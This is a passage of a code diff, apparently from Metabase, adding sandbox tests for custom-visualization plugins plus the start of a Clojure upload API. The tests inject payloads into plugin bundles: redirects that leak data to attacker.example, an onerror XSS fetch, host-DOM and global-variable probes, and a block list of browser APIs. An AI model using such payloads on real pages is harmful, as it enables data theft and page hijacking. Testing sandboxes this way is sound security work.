+ 'Function.prototype.bind.call(window.fetch, window)("/api/canary-should-be-blocked-by-sandbox");',
+ errorPattern: blockedPattern(/API call: window\.fetch/),
+ before: () => {
+ cy.intercept("GET", "/api/canary-should-be-blocked-by-sandbox").as(
+ "canary",
+ );
+ },
+ additionalAssertions: () => {
+ cy.get("@canary.all").should("have.length", 0);
+ },
+ },
+ {
+ name: "Worker constructor",
+ payload: 'new Worker("data:text/javascript,1");',
+ errorPattern: blockedPattern(/API call: window\.Worker/),
+ },
+ {
+ name: "SharedWorker constructor",
+ payload: 'new SharedWorker("data:text/javascript,1");',
+ errorPattern: blockedPattern(/API call: window\.SharedWorker/),
+ },
+ {
+ name: "RTCPeerConnection constructor",
+ payload: "new RTCPeerConnection();",
+ errorPattern: blockedPattern(/API call: window\.RTCPeerConnection/),
+ },
+ {
+ name: "WebTransport constructor",
+ payload: 'new WebTransport("https://attacker.example/wt");',
+ errorPattern: blockedPattern(/API call: WebTransport/),
+ },
+ {
+ name: "BroadcastChannel constructor",
+ payload: 'new BroadcastChannel("attacker");',
+ errorPattern: blockedPattern(/API call: BroadcastChannel/),
+ },
+ {
+ name: "Range.createContextualFragment",
+ payload:
+ 'document.createRange().createContextualFragment("<img src=x>");',
+ errorPattern: blockedPattern(/API call: Range\.createContextualFragment/),
+ },
+ {
+ name: "DOMParser.parseFromString",
+ payload: 'new DOMParser().parseFromString("<p>x</p>", "text/html");',
+ errorPattern: blockedPattern(/API call: DOMParser\.parseFromString/),
+ },
+ {
+ name: "Element.setHTMLUnsafe",
+ payload: 'document.createElement("div").setHTMLUnsafe("<x>");',
+ errorPattern: blockedPattern(/API call: Element\.setHTMLUnsafe/),
+ },
+ {
+ name: "Document.parseHTMLUnsafe",
+ payload: 'Document.parseHTMLUnsafe("<p>x</p>");',
+ errorPattern: blockedPattern(/API call: Document\.parseHTMLUnsafe/),
+ },
+ {
+ name: "XSLTProcessor constructor",
+ payload: "new XSLTProcessor();",
+ errorPattern: blockedPattern(/API call: XSLTProcessor/),
+ },
+ {
+ name: "window.alert",
+ payload: 'window.alert("pwned");',
+ errorPattern: blockedPattern(/API call: window\.alert/),
+ },
+ {
+ name: "window.confirm",
+ payload: 'window.confirm("pwned");',
+ errorPattern: blockedPattern(/API call: window\.confirm/),
+ },
+ {
+ name: "window.prompt",
+ payload: 'window.prompt("pwned");',
+ errorPattern: blockedPattern(/API call: window\.prompt/),
+ },
+ {
+ name: "window.print",
+ payload: "window.print();",
+ errorPattern: blockedPattern(/API call: window\.print/),
+ },
+ {
+ name: "Notification constructor",
+ payload: 'new Notification("phish");',
+ errorPattern: blockedPattern(/API call: window\.Notification/),
+ },
+ {
+ // `.click()` is on HTMLElement.prototype, so any non-blocked element
+ // exercises the same membrane path as a synthesized anchor would.
+ name: "HTMLElement.click()",
+ payload: 'document.createElement("div").click();',
+ errorPattern: blockedPattern(/API call: HTMLElement\.click/),
+ },
+ {
+ name: "FontFace.load",
+ payload:
+ 'new FontFace("x", "url(/api/canary-should-be-blocked-by-sandbox)").load();',
+ errorPattern: blockedPattern(/API call: FontFace\.load/),
+ before: () => {
+ cy.intercept("GET", "/api/canary-should-be-blocked-by-sandbox").as(
+ "canary",
+ );
+ },
+ additionalAssertions: () => {
+ cy.get("@canary.all").should("have.length", 0);
+ },
+ },
+ {
+ name: "document.adoptedStyleSheets setter",
+ payload: "document.adoptedStyleSheets = [];",
+ errorPattern: blockedPattern(
+ /API call: Document\.set adoptedStyleSheets/,
+ ),
+ },
+ {
+ name: "document.adoptedStyleSheets getter",
+ payload: "var x = document.adoptedStyleSheets;",
+ errorPattern: blockedPattern(
+ /API call: Document\.get adoptedStyleSheets/,
+ ),
+ },
+ {
+ name: "ShadowRoot.adoptedStyleSheets setter",
+ payload:
+ 'document.createElement("div").attachShadow({ mode: "open" }).adoptedStyleSheets = [];',
+ errorPattern: blockedPattern(
+ /API call: ShadowRoot\.set adoptedStyleSheets/,
+ ),
+ },
+ {
+ name: "CSSStyleSheet.replaceSync",
+ payload: 'new CSSStyleSheet().replaceSync("");',
+ errorPattern: blockedPattern(/API call: CSSStyleSheet\.replaceSync/),
+ },
+ {
+ name: "history.state getter",
+ payload: "var x = history.state;",
+ errorPattern: blockedPattern(/API call: History\.get state/),
+ },
+ {
+ name: "performance.getEntries",
+ payload: "performance.getEntries();",
+ errorPattern: blockedPattern(/API call: Performance\.getEntries/),
+ },
+ {
+ name: "PerformanceObserver constructor",
+ payload: "new PerformanceObserver(function() {});",
+ errorPattern: blockedPattern(/API call: PerformanceObserver/),
+ },
+ {
+ name: "document.referrer getter",
+ payload: "var x = document.referrer;",
+ errorPattern: blockedPattern(/API call: Document\.get referrer/),
+ },
+ {
+ name: "document.URL getter",
+ payload: "var x = document.URL;",
+ errorPattern: blockedPattern(/API call: Document\.get URL/),
+ },
+ {
+ name: "document.documentURI getter",
+ payload: "var x = document.documentURI;",
+ errorPattern: blockedPattern(/API call: Document\.get documentURI/),
+ },
+ {
+ name: "document.baseURI getter",
+ payload: "var x = document.baseURI;",
+ errorPattern: blockedPattern(/API call: Node\.get baseURI/),
+ },
+ {
+ name: "document.designMode setter",
+ payload: 'document.designMode = "on";',
+ errorPattern: blockedPattern(/API call: Document\.set designMode/),
+ },
+ {
+ name: "element.contentEditable setter",
+ payload: 'document.createElement("div").contentEditable = "true";',
+ errorPattern: blockedPattern(
+ /API call: HTMLElement\.set contentEditable/,
+ ),
+ },
+ {
+ name: "HTMLDialogElement.showModal",
+ payload: 'document.createElement("dialog").showModal();',
+ errorPattern: blockedPattern(/API call: HTMLDialogElement\.showModal/),
+ },
+ {
+ name: "Element.requestFullscreen",
+ payload: 'document.createElement("div").requestFullscreen();',
+ errorPattern: blockedPattern(/API call: Element\.requestFullscreen/),
+ },
+ {
+ name: "PaymentRequest constructor",
+ payload: "new PaymentRequest([], {});",
+ errorPattern: blockedPattern(/API call: PaymentRequest/),
+ },
+ {
+ name: "Attr.value setter (onclick handler)",
+ payload: `
+ var attr = document.createAttribute("onclick");
+ attr.value = "alert(1)";
+ `,
+ errorPattern: blockedPattern(
+ /Attr\.set value for inline event handler: onclick/,
+ ),
+ },
+ {
+ name: "Attr.value setter (post-hoc javascript: URL)",
+ payload: `
+ document.body.setAttribute("href", "/safe");
+ var attr = document.body.getAttributeNode("href");
+ attr.value = "javascript:alert(1)";
+ `,
+ errorPattern: blockedPattern(
+ /Attr\.set value with javascript: URL: href/,
+ ),
+ },
+ {
+ name: "ShadowRoot.setHTMLUnsafe",
+ payload:
+ 'document.createElement("div").attachShadow({ mode: "open" }).setHTMLUnsafe("<x>");',
+ errorPattern: blockedPattern(/API call: ShadowRoot\.setHTMLUnsafe/),
+ },
+ {
+ // caret*FromPoint is the only non-interaction-gated way to get a raw
+ // host Text node; blocked because the Element-level DOM decoy doesn't
+ // cover this entry point.
+ name: "Document.caretRangeFromPoint",
+ payload: "document.caretRangeFromPoint(0, 0);",
+ errorPattern: blockedPattern(/API call: Document\.caretRangeFromPoint/),
+ },
+ ];
+
+ it("blocks browser APIs that are not allowed in the sandbox", () => {
+ const bundle = SANDBOX_CASES.map((c, index) => {
+ const delay = 1000 + index * 100;
+ return `window.setTimeout(function() { try { ${c.payload} } catch (e) { console.error(e); } }, ${delay});`;
+ }).join("\n");
+
+ cy.intercept("GET", "/api/ee/custom-viz-plugin/*/bundle*", (req) => {
+ req.continue((res) => {
+ res.body = `console.log("injected bundle");${bundle}\n${String(res.body)};\n`;
+ res.send();
+ });
+ }).as("injectedBundle");
+ H.visitQuestion("@sandboxCardId", {
+ onBeforeLoad(win) {
+ cy.spy(win.console, "log").as("consoleLog");
+ cy.spy(win.console, "error").as("consoleError");
+ },
+ });
+ cy.wait("@injectedBundle");
+ cy.get("@consoleLog").should("be.calledWith", "injected bundle");
+
+ for (const {
+ name,
+ errorPattern,
+ before,
+ additionalAssertions,
+ } of SANDBOX_CASES) {
+ before?.();
+ cy.log(`Verifying error pattern for: ${name}`);
+ cy.get("@consoleError").should(
+ "have.been.calledWithMatch",
+ Cypress.sinon.match.has("message", Cypress.sinon.match(errorPattern)),
+ );
+ additionalAssertions?.();
+ }
+ });
+
+ // `window.location` and the Location attributes are `[LegacyUnforgeable]`,
+ // and `near-membrane-dom` gives the plugin its own iframe realm with its
+ // own Location instance, so we can't intercept these at the membrane (see
+ // the comment in distortions-blocked-apis.ts). What we *can* verify is that the host page is intact.
+ it("plugin location operations do not navigate the host", () => {
+ const payloads = [
+ 'location.href = "https://attacker.example/?leak=secret";',
+ 'location.assign("https://attacker.example/");',
+ 'location.replace("https://attacker.example/");',
+ 'window.location = "https://attacker.example/";',
+ 'location.pathname = "/attacker-pwned";',
+ 'location.search = "?attacker-pwned=1";',
+ 'location.hash = "#attacker-pwned";',
+ ];
+ // Run inline in the bundle preamble. Each is wrapped in try/catch so an
+ // attempt that errors doesn't short-circuit the rest.
+ const attackBundle = payloads
+ .map((p) => `try { ${p} } catch (e) {}`)
+ .join("\n");
+
+ cy.intercept("GET", "/api/ee/custom-viz-plugin/*/bundle*", (req) => {
+ req.continue((res) => {
+ res.body = `${attackBundle}\n${String(res.body)};\n`;
+ res.send();
+ });
+ }).as("injectedBundle");
+
+ H.visitQuestion("@sandboxCardId");
+ cy.wait("@injectedBundle");
+
+ cy.findByRole("heading", {
+ name: "Custom viz rendered successfully",
+ }).should("be.visible");
+
+ cy.location("pathname").should("match", /\/question/);
+ cy.location("href").then((href) => {
+ expect(href).not.to.include("attacker");
+ });
+ cy.location("search").should("not.contain", "attacker-pwned");
+ cy.location("hash").should("not.contain", "attacker-pwned");
+ });
+
+ // innerHTML/outerHTML/insertAdjacentHTML go through DOMPurify rather than
+ // being blocked outright, so this case doesn't fit the "expect a thrown
+ // error and a fallback viz" shape of SANDBOX_CASES. Instead we inject an
+ // <img onerror> — which the browser would execute in the host realm if it
+ // survived assignment — and confirm DOMPurify stripped it by checking the
+ // onerror's side effect (a fetch to the canary URL) never happens.
+ it("sanitizes innerHTML through DOMPurify before it reaches the DOM", () => {
+ cy.intercept("GET", "/api/canary-should-be-blocked-by-sandbox").as(
+ "canary",
+ );
+
+ const payload = `
+ var d = document.createElement('div');
+ d.innerHTML = '<img src="x" onerror="fetch(\\'/api/canary-should-be-blocked-by-sandbox\\')">';
+ document.body.appendChild(d);
+ `;
+
+ cy.intercept("GET", "/api/ee/custom-viz-plugin/*/bundle*", (req) => {
+ req.continue((res) => {
+ res.body = `${payload}\n${String(res.body)};\n`;
+ res.send();
+ });
+ }).as("injectedBundle");
+
+ H.visitQuestion("@sandboxCardId", {
+ onBeforeLoad(win) {
+ cy.spy(win.console, "log").as("consoleLog");
+ cy.spy(win.console, "error").as("consoleError");
+ },
+ });
+ cy.wait("@injectedBundle");
+
+ // Viz still renders — sanitization mutates the HTML but doesn't throw.
+ cy.findByRole("heading", {
+ name: "Custom viz rendered successfully",
+ }).should("be.visible");
+ cy.get("@canary.all").should("have.length", 0);
+ cy.get("@consoleError").should(
+ "have.been.calledWithMatch",
+ /\[plugin \d+\] DOMPurify stripped content from innerHTML/,
+ );
+ });
+
+ it("sanitizes ShadowRoot.innerHTML through DOMPurify before it reaches the DOM", () => {
+ cy.intercept("GET", "/api/canary-should-be-blocked-by-sandbox").as(
+ "canary",
+ );
+
+ const payload = `
+ var host = document.createElement('div');
+ var shadow = host.attachShadow({ mode: 'open' });
+ shadow.innerHTML = '<img src="x" onerror="fetch(\\'/api/canary-should-be-blocked-by-sandbox\\')">';
+ document.body.appendChild(host);
+ `;
+
+ cy.intercept("GET", "/api/ee/custom-viz-plugin/*/bundle*", (req) => {
+ req.continue((res) => {
+ res.body = `${payload}\n${String(res.body)};\n`;
+ res.send();
+ });
+ }).as("injectedBundle");
+
+ H.visitQuestion("@sandboxCardId", {
+ onBeforeLoad(win) {
+ cy.spy(win.console, "log").as("consoleLog");
+ cy.spy(win.console, "error").as("consoleError");
+ },
+ });
+ cy.wait("@injectedBundle");
+
+ cy.findByRole("heading", {
+ name: "Custom viz rendered successfully",
+ }).should("be.visible");
+ cy.get("@canary.all").should("have.length", 0);
+ cy.get("@consoleError").should(
+ "have.been.calledWithMatch",
+ /\[plugin \d+\] DOMPurify stripped content from ShadowRoot\.innerHTML/,
+ );
+ });
+
+ // `Document` is itself a Node, so it's a valid root for TreeWalker /
+ // NodeIterator and a valid target for `MutationObserver.observe`. With
+ // an Element-only decoy, the plugin could pass `document` as the root
+ // and walk the entire host DOM, surfacing real host Text nodes that
+ // weren't decoyed. Locking this down requires the Node-level decoy.
+ it("decoys non-Element nodes reached via TreeWalker rooted at document", () => {
+ const HOST_MARKER_TEXT = "treewalker-host-canary-do-not-leak";
+
+ const payload = `
+ setTimeout(function() {
+ var walker = document.createTreeWalker(document, NodeFilter.SHOW_TEXT);
+ var sawMarker = false;
+ var node;
+ let nonEmptyCount = 0;
+ while ((node = walker.nextNode())) {
+ if ((node.textContent || "").indexOf(${JSON.stringify(HOST_MARKER_TEXT)}) !== -1) {
+ sawMarker = true;
+ break;
+ }
+ if (node.textContent && node.textContent.trim() !== "") {
+ nonEmptyCount++;
+ }
+ }
+ console.log('plugin treewalker(document) saw host marker:', sawMarker);
+ console.log('plugin treewalker(document) saw non-empty nodes:', nonEmptyCount);
+ }, 1500);
+ `;
+
+ cy.intercept("GET", "/api/ee/custom-viz-plugin/*/bundle*", (req) => {
+ req.continue((res) => {
+ res.body = `${payload}\n${String(res.body)};\n`;
+ res.send();
+ });
+ }).as("injectedBundle");
+
+ H.visitQuestion("@sandboxCardId", {
+ onBeforeLoad(win) {
+ cy.spy(win.console, "log").as("consoleLog");
+ },
+ });
+ cy.wait("@injectedBundle");
+
+ cy.window().then((win) => {
+ const marker = win.document.createElement("span");
+ marker.id = "treewalker-host-marker";
+ marker.textContent = HOST_MARKER_TEXT;
+ win.document.body.appendChild(marker);
+ });
+
+ cy.findByRole("heading", {
+ name: "Custom viz rendered successfully",
+ }).should("be.visible");
+
+ cy.get("@consoleLog").should(
+ "have.been.calledWith",
+ "plugin treewalker(document) saw host marker:",
+ false,
+ );
+ cy.get("@consoleLog").should(
+ "have.been.calledWith",
+ "plugin treewalker(document) saw non-empty nodes:",
+ 13,
+ );
+ });
+
+ // Direct access is closed by near-membrane-dom's default behavior: it
+ // remaps only the own keys of a fresh sandbox iframe's window from host to plugin.
+ it("does not expose host-app globals to the plugin", () => {
+ const payload = `
+ setTimeout(function() {
+ console.log("plugin sees MetabaseBootstrap:", typeof window.MetabaseBootstrap);
+ try {
+ console.log(
+ "plugin sees parent.MetabaseBootstrap:",
+ typeof (window.parent && window.parent.MetabaseBootstrap)
+ );
+ } catch (e) {
+ console.log("plugin sees parent.MetabaseBootstrap:", "throws");
+ }
+
+ try {
+ console.log(
+ "plugin sees defaultView.MetabaseBootstrap:",
+ typeof (document.defaultView && document.defaultView.MetabaseBootstrap)
+ );
+ } catch (e) {
+ console.log("plugin sees defaultView.MetabaseBootstrap:", "throws");
+ }
+ console.log("plugin sees MetabaseUserLocalization:", typeof window.MetabaseUserLocalization);
+ console.log("plugin sees MetabaseSiteLocalization:", typeof window.MetabaseSiteLocalization);
+ console.log("plugin sees SECRET:", typeof window.SECRET);
+ }, 500);
+ `;
+
+ cy.intercept("GET", "/api/ee/custom-viz-plugin/*/bundle*", (req) => {
+ req.continue((res) => {
+ res.body = `${payload}\n${String(res.body)};\n`;
+ res.send();
+ });
+ }).as("injectedBundle");
+
+ H.visitQuestion("@sandboxCardId", {
+ onBeforeLoad(win) {
+ cy.spy(win.console, "log").as("consoleLog");
+ },
+ });
+ cy.window().then((win) => {
+ // @ts-expect-error - test window property
+ win.SECRET = "abracadabra";
+ });
+ cy.wait("@injectedBundle");
+
+ cy.findByRole("heading", {
+ name: "Custom viz rendered successfully",
+ }).should("be.visible");
+
+ cy.get("@consoleLog").should(
+ "have.been.calledWith",
+ "plugin sees MetabaseBootstrap:",
+ "undefined",
+ );
+ cy.get("@consoleLog").should(
+ "have.been.calledWith",
+ "plugin sees parent.MetabaseBootstrap:",
+ "undefined",
+ );
+ cy.get("@consoleLog").should(
+ "have.been.calledWith",
+ "plugin sees defaultView.MetabaseBootstrap:",
+ "undefined",
+ );
+ cy.get("@consoleLog").should(
+ "have.been.calledWith",
+ "plugin sees MetabaseUserLocalization:",
+ "undefined",
+ );
+ cy.get("@consoleLog").should(
+ "have.been.calledWith",
+ "plugin sees MetabaseSiteLocalization:",
+ "undefined",
+ );
+ });
+
+ it("isolates DOM access to the plugin subtree (out-of-scope reads and writes hit a decoy)", () => {
+ const hostSelector = "#root";
+ const payload = `
+ var hostEl = document.querySelector('${hostSelector}');
+ if (hostEl) {
+ const elementId = hostEl.getAttribute("id");
+ hostEl.setAttribute('data-pwned-by-plugin', 'true');
+ console.log('plugin read element id', elementId);
+ console.log('plugin saw decoy', hostEl.getAttribute('data-plugin-sandbox-decoy'));
+ } else {
+ console.log('plugin-saw-decoy', false);
+ }
+ `;
+
+ cy.intercept("GET", "/api/ee/custom-viz-plugin/*/bundle*", (req) => {
+ req.continue((res) => {
+ res.body = `${payload}\n${String(res.body)};\n`;
+ res.send();
+ });
+ }).as("injectedBundle");
+
+ H.visitQuestion("@sandboxCardId", {
+ onBeforeLoad(win) {
+ cy.spy(win.console, "log").as("consoleLog");
+ cy.spy(win.console, "error").as("consoleError");
+ },
+ });
+ cy.wait("@injectedBundle");
+
+ cy.findByRole("heading", {
+ name: "Custom viz rendered successfully",
+ }).should("be.visible");
+
+ // The plugin reached for visualization-root but received a decoy with
+ // data-plugin-sandbox-decoy="true" instead of the real element.
+ cy.get("@consoleLog").should(
+ "have.been.calledWith",
+ "plugin saw decoy",
+ "true",
+ );
+ cy.get("@consoleLog").should(
+ "have.been.calledWith",
+ "plugin read element id",
+ "sandbox-decoy",
+ );
+
+ // The swap is reported to host console for diagnostics.
+ cy.get("@consoleError").should(
+ "have.been.calledWithMatch",
+ /\[plugin \d+\] swapped out-of-scope <div id="root"> with decoy/,
+ );
+
+ // The real host element was untouched.
+ cy.get(hostSelector).should("not.have.attr", "data-pwned-by-plugin");
+ });
+
+ it("returns a decoy when the plugin walks up to its container's parentElement/parentNode", () => {
+ const payload = `
+ setTimeout(function() {
+ var container = document.querySelector('[data-plugin-sandbox]');
+ if (!container) {
+ console.log('plugin parent test:', 'no container');
+ return;
+ }
+ const { parentElement, parentNode} = container;
+ console.log('plugin parentElement decoy:', parentElement && parentElement.getAttribute('data-plugin-sandbox-decoy'));
+ console.log('plugin parentElement id:', parentElement && parentElement.getAttribute('id'));
+ console.log('plugin parentNode decoy:', parentNode && parentNode.getAttribute && parentNode.getAttribute('data-plugin-sandbox-decoy'));
+ if (parentElement) {
+ parentElement.setAttribute('data-pwned-by-plugin', 'true');
+ }
+ }, 1000);
+ `;
+
+ cy.intercept("GET", "/api/ee/custom-viz-plugin/*/bundle*", (req) => {
+ req.continue((res) => {
+ res.body = `${String(res.body)};\n${payload}`;
+ res.send();
+ });
+ }).as("injectedBundle");
+
+ H.visitQuestion("@sandboxCardId", {
+ onBeforeLoad(win) {
+ cy.spy(win.console, "log").as("consoleLog");
+ cy.spy(win.console, "error").as("consoleError");
+ },
+ });
+ cy.wait("@injectedBundle");
+
+ cy.findByRole("heading", {
+ name: "Custom viz rendered successfully",
+ }).should("be.visible");
+
+ cy.get("@consoleLog").should(
+ "have.been.calledWith",
+ "plugin parentElement decoy:",
+ "true",
+ );
+ cy.get("@consoleLog").should(
+ "have.been.calledWith",
+ "plugin parentElement id:",
+ "sandbox-decoy",
+ );
+ cy.get("@consoleLog").should(
+ "have.been.calledWith",
+ "plugin parentNode decoy:",
+ "true",
+ );
+
+ cy.get("@consoleError").should(
+ "have.been.calledWithMatch",
+ /\[plugin \d+\] swapped out-of-scope <div.*> with decoy/,
+ );
+
+ cy.get("[data-plugin-sandbox]")
+ .parent()
+ .should("not.have.attr", "data-pwned-by-plugin");
+ });
+
+ it("MutationObserver on out-of-scope nodes observes a decoy and never fires for host mutations", () => {
+ const payload = `
+ var seenMutations = 0;
+ var observer = new MutationObserver(function(records) {
+ seenMutations += records.length;
+ });
+ observer.observe(document.body, {
+ childList: true,
+ subtree: true,
+ attributes: true,
+ });
+ setTimeout(function() {
+ console.log('plugin observed mutations:', seenMutations);
+ }, 1500);
+ `;
+
+ cy.intercept("GET", "/api/ee/custom-viz-plugin/*/bundle*", (req) => {
+ req.continue((res) => {
+ res.body = `${payload}\n${String(res.body)};\n`;
+ res.send();
+ });
+ }).as("injectedBundle");
+
+ H.visitQuestion("@sandboxCardId", {
+ onBeforeLoad(win) {
+ cy.spy(win.console, "log").as("consoleLog");
+ cy.spy(win.console, "error").as("consoleError");
+ },
+ });
+ cy.wait("@injectedBundle");
+
+ cy.findByRole("heading", {
+ name: "Custom viz rendered successfully",
+ }).should("be.visible");
+
+ // Mutate the real host DOM. If the plugin held a real reference to
+ // document.body, these would fire its observer. The membrane swapped
+ // body for a detached decoy, so observation is wired to a node that
+ // never sees host changes.
+ cy.document().then((doc) => {
+ const probe = doc.createElement("div");
+ probe.setAttribute("data-mutation-probe", "true");
+ doc.body.appendChild(probe);
+ doc.body.setAttribute("data-mutation-probe-attr", "true");
+ probe.remove();
+ doc.body.removeAttribute("data-mutation-probe-attr");
+ });
+
+ cy.get("@consoleError").should(
+ "have.been.calledWithMatch",
+ /\[plugin \d+\] swapped out-of-scope <body> with decoy/,
+ );
+ });
+});
diff --git a/enterprise/backend/src/metabase_enterprise/api_routes/routes.clj b/enterprise/backend/src/metabase_enterprise/api_routes/routes.clj
index fe79e689497..35e0a0f2d17 100644
--- a/enterprise/backend/src/metabase_enterprise/api_routes/routes.clj
+++ b/enterprise/backend/src/metabase_enterprise/api_routes/routes.clj
@@ -15,6 +15,7 @@
[metabase-enterprise.cloud-proxy.api]
[metabase-enterprise.content-translation.routes]
[metabase-enterprise.content-verification.api.routes]
+ [metabase-enterprise.custom-viz-plugin.api]
[metabase-enterprise.data-complexity-score.api]
[metabase-enterprise.data-studio.api]
[metabase-enterprise.database-replication.api :as database-replication.api]
@@ -54,6 +55,7 @@
:audit-app (deferred-tru "Audit app")
:collection-cleanup (deferred-tru "Collection Cleanup")
:content-translation (deferred-tru "Content translation")
+ :custom-viz (deferred-tru "Custom Visualizations")
:library (deferred-tru "Library")
:dependencies (deferred-tru "Dependency Tracking")
:embedding (deferred-tru "Embedding")
@@ -99,6 +101,7 @@
"/audit-app" (premium-handler metabase-enterprise.audit-app.api.routes/routes :audit-app)
"/billing" metabase-enterprise.billing.api.routes/routes
"/content-translation" (premium-handler metabase-enterprise.content-translation.routes/routes :content-translation)
+ "/custom-viz-plugin" (premium-handler metabase-enterprise.custom-viz-plugin.api/routes :custom-viz)
"/cloud-add-ons" metabase-enterprise.cloud-add-ons.api/routes
"/cloud-proxy" metabase-enterprise.cloud-proxy.api/routes
;; No premium-handler gate yet — we haven't settled on the feature flag name or final API shape.
diff --git a/enterprise/backend/src/metabase_enterprise/core/init.clj b/enterprise/backend/src/metabase_enterprise/core/init.clj
index 6e34503ffc0..31dc597a85e 100644
--- a/enterprise/backend/src/metabase_enterprise/core/init.clj
+++ b/enterprise/backend/src/metabase_enterprise/core/init.clj
@@ -10,6 +10,7 @@
[metabase-enterprise.advanced-config.init]
[metabase-enterprise.audit-app.init]
[metabase-enterprise.cache.init]
+ [metabase-enterprise.custom-viz-plugin.init]
[metabase-enterprise.data-complexity-score.init]
[metabase-enterprise.database-replication.init]
[metabase-enterprise.dependencies.init]
diff --git a/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/api.clj b/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/api.clj
new file mode 100644
index 00000000000..ea136f621ea
--- /dev/null
+++ b/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/api.clj
@@ -0,0 +1,399 @@
+(ns metabase-enterprise.custom-viz-plugin.api
+ "/api/ee/custom-viz-plugin endpoints."
+ (:require
+ [clj-http.client :as http]
+ [clojure.core.async :as a]
+ [metabase-enterprise.custom-viz-plugin.cache :as cache]
+ [metabase-enterprise.custom-viz-plugin.manifest :as manifest]
+ [metabase-enterprise.custom-viz-plugin.models.custom-viz-plugin :as custom-viz-plugin]
+ [metabase-enterprise.custom-viz-plugin.settings :as custom-viz.settings]
+ [metabase.api.common :as api]
+ [metabase.api.macros :as api.macros]
+ [metabase.api.routes.common :refer [+auth]]
+ [metabase.events.core :as events]
+ [metabase.server.streaming-response :as sr]
+ [metabase.util.log :as log]
+ [metabase.util.malli.schema :as ms]
+ [toucan2.core :as t2])
+ (:import
+ (java.io BufferedReader File InputStream InputStreamReader OutputStream)
+ (java.nio.file Files)))
+
+(set! *warn-on-reflection* true)
+
+;;; ------------------------------------------------ Dev-mode guard ------------------------------------------------
+
+(defn- check-dev-mode-enabled!
+ "Throws a 403 if dev mode is not enabled via MB_CUSTOM_VIZ_PLUGIN_DEV_MODE_ENABLED."
+ []
+ (api/check (custom-viz.settings/custom-viz-plugin-dev-mode-enabled)
+ [403 "Custom visualization plugin dev mode is not enabled."]))
+
+;;; ------------------------------------------------ Upload guard ------------------------------------------------
+
+(defn- check-upload!
+ "Validate an incoming multipart `file` part before we spend any IO reading it.
+ Rejects oversized uploads with 413 using `:size` (populated by Ring from the
+ bytes it actually buffered, not a client header) and rejects missing files with
+ 400. Returns the `java.io.File` tempfile."
+ ^File [file]
+ (let [tempfile (:tempfile file)]
+ (when-not (instance? File tempfile)
+ (throw (ex-info "No file provided" {:status-code 400})))
+ (when (> (:size file) cache/max-bundle-bytes)
+ (throw (ex-info (format "Bundle must be less than %dMB." cache/max-bundle-mib)
+ {:status-code 413})))
+ tempfile))
+
+;;; ------------------------------------------------ Schemas ------------------------------------------------
+
+(def ^:private CustomVizPluginResponse
+ [:map
+ [:id ms/PositiveInt]
+ [:display_name ms/NonBlankString]
+ [:identifier ms/NonBlankString]
+ [:status [:enum :active :error]]
+ [:enabled :boolean]
+ [:icon {:optional true} [:maybe :string]]
+ [:error_message {:optional true} [:maybe :string]]
+ [:bundle_hash {:optional true} [:maybe :string]]
+ [:dev_bundle_url {:optional true} [:maybe :string]]
+ [:dev_only :boolean]
+ [:manifest {:optional true} [:maybe :any]]
+ [:metabase_version {:optional true} [:maybe :string]]
+ [:created_at :any]
+ [:updated_at :any]])
+
+(def ^:private CustomVizPluginRuntimeResponse
+ [:map
+ [:id ms/PositiveInt]
+ [:identifier ms/NonBlankString]
+ [:display_name ms/NonBlankString]
+ [:icon {:optional true} [:maybe :string]]
+ [:bundle_url ms/NonBlankString]
+ [:bundle_hash {:optional true} [:maybe :string]]
+ [:dev_bundle_url {:optional true} [:maybe :string]]
+ [:manifest {:optional true} [:maybe :any]]])
+
+;;; ------------------------------------------------ Helpers ------------------------------------------------
+
+(defn- dev-only-plugin?
+ "Returns true if the plugin has no uploaded bundle and is served from a dev URL."
+ [plugin]
+ (nil? (:bundle_hash plugin)))
+
+(defn- plugin->response
+ "Convert a plugin record to API response format."
+ [plugin]
+ (-> plugin
+ (assoc :dev_only (dev-only-plugin? plugin))
+ ;; never expose the raw bundle bytes
+ (dissoc :bundle)))
+
+(defn- plugin->runtime-response
+ "Convert a plugin record to the safe runtime response shape.
+ `bundle_url` is suffixed with `?v=<bundle_hash>` so that a re-uploaded bundle is fetched
+ instead of served from the browser's `immutable` cache."
+ [{:keys [id identifier display_name icon bundle_hash manifest dev_bundle_url]}]
+ (cond-> {:id id
+ :identifier identifier
+ :display_name display_name
+ :icon icon
+ :bundle_url (cond-> (format "/api/ee/custom-viz-plugin/%d/bundle" id)
+ bundle_hash (str "?v=" bundle_hash))
+ :bundle_hash bundle_hash
+ :manifest manifest}
+ dev_bundle_url (assoc :dev_bundle_url dev_bundle_url)))
+
+;;; ------------------------------------------------ Endpoints ------------------------------------------------
+
+(api.macros/defendpoint :post "/" :- CustomVizPluginResponse
+ "Register a new custom visualization plugin from an uploaded tar.gz bundle.
+
+ The archive must contain `metabase-plugin.json` at the root and
+ `dist/index.js` for the JS bundle, plus any whitelisted assets under
+ `dist/assets/`. The plugin's `identifier` is taken from the manifest's `name`
+ field."
+ {:multipart {:max-file-size cache/max-bundle-bytes
+ :max-file-count 1}}
+ [_route-params
+ _query-params
+ _body
+ {{file "file"} :multipart-params, :as _request}
+ :- [:map
+ [:multipart-params
+ [:map
+ ["file" [:map
+ [:filename :string]
+ [:tempfile (ms/InstanceOfClass File)]]]]]]]
+ (api/check-superuser)
+ (let [tempfile (check-upload! file)]
+ (try
+ (let [bundle-bytes (Files/readAllBytes (.toPath tempfile))
+ validated (cache/validate-bundle! bundle-bytes)
+ identifier (get-in validated [:manifest :name])
+ _ (api/check-400
+ (not (t2/exists? :model/CustomVizPlugin :identifier identifier))
+ (format "A custom visualization with identifier \"%s\" already exists." identifier))
+ plugin (cache/insert-bundle! identifier validated)]
+ (events/publish-event! :event/custom-viz-plugin-create {:object plugin
+ :user-id api/*current-user-id*})
+ (plugin->response (dissoc plugin :bundle)))
+ (finally
+ (try (.delete tempfile) (catch Exception _))))))
+
+(api.macros/defendpoint :post "/dev" :- CustomVizPluginResponse
+ "Register a dev-only custom visualization plugin from a local dev server.
+ No bundle upload is required — files are served from the dev server URL.
+ Requires custom viz plugin dev mode to be enabled."
+ [_route-params
+ _query-params
+ {:keys [identifier dev_bundle_url]} :- [:map
+ [:identifier {:optional true} [:maybe ms/NonBlankString]]
+ [:dev_bundle_url ms/NonBlankString]]]
+ (api/check-superuser)
+ (check-dev-mode-enabled!)
+ (let [manifest (cache/fetch-dev-manifest dev_bundle_url)
+ identifier (or identifier
+ (:name manifest)
+ (throw (ex-info (if manifest
+ "metabase-plugin.json is missing a \"name\" field."
